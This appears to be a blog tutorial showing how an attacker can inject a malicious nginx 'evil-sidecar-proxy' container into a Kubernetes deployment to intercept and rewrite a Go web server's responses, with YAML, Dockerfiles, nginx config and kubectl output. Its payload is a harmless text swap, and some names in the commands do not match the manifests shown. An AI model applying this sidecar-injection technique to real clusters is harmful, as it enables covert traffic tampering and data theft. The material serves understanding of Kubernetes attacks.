A Kubernetes Pod is a group of one or more containers with shared storage and network resources. Sidecar container is a term that is used to describe an additional container that resides alongside the main container. For example, service-mesh proxies are operating as sidecars in the applications’ pods. Attackers can run their code and hide their activity by injecting a sidecar container to a legitimate pod in the cluster instead of running their own separated pod in the cluster.
We assume that there’s a very simple web server deployed in Kubernetes with the following deployment.
apiVersion: apps/v1
kind: Deployment
metadata:
name: simple-application
labels:
app: simple-application
spec:
replicas: 1
selector:
matchLabels:
app: simple-application
template:
metadata:
labels:
app: simple-application
spec:
containers:
- name: application
image: simple-application-image
imagePullPolicy: Always
ports:
- containerPort: 80
The simple-application is written in Go and the following is it’s full source code stored (main.go
):
package main
import (
"fmt"
"log"
"net/http"
)
func rootHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.WriteHeader(http.StatusOK)
fmt.Fprintln(w, "Hello World!")
}
func main() {
http.HandleFunc("/", rootHandler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
The image can be built by using the following Dockerfile.
FROM golang:alpine as builder
RUN mkdir /build
ADD . /build/
WORKDIR /build
RUN GO111MODULE=off CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -ldflags '-extldflags "-static"' -o main .
FROM scratch
COPY --from=builder /build/main /app/
WORKDIR /app
CMD ["./main"]
An attacker could now extend the deployment my adding an additional container, move the open port to it and end up with the following.
apiVersion: apps/v1
kind: Deployment
metadata:
name: simple-application
labels:
app: simple-application
spec:
replicas: 1
selector:
matchLabels:
app: simple-application
template:
metadata:
labels:
app: simple-application
spec:
containers:
- name: application
image: nginx
imagePullPolicy: Always
- name: evil-sidecar-proxy
image: evil-sidecar-proxy
imagePullPolicy: Always
ports:
- containerPort: 80
The evil-sidecar-proxy
is just a very simple nginx reverse proxy. The following is it’s full configuration (nginx.conf
).
error_log /dev/stdout info;
events {
worker_connections 4096;
}
http {
include mime.types;
access_log /dev/stdout;
server {
listen 80 ;
listen [::]:80 ;
server_name _;
location / {
proxy_pass http://localhost:8080;
sub_filter 'Hello World!' 'Hello Evil World!';
}
}
}
The Dockerfile is even simpler and just adding the custom configuration file.
FROM nginx:alpine
COPY nginx.conf /etc/nginx/
Using this deployment, the traffic to the simple-application is intercepted by the evil-sidecar-proxy and the later modifies the HTTP response. Like this an attacker could e.g. inject malicious JavaScript code or the proxy could also exfiltrate data that is transferred.
$ # Send HTTP request to the web server directly on it's local port 8080 (so no sidecar magic involved)
$ kubectl exec -it deployments/nginx-deployment -c sidecar-proxy -- curl localhost:8080
Hello World!
$ # Send HTTP request to the web server through the published port 80 (includes sidecar magic)
$ kubectl exec -it deployments/nginx-deployment -c sidecar-proxy -- curl localhost:80
Hello Evil World!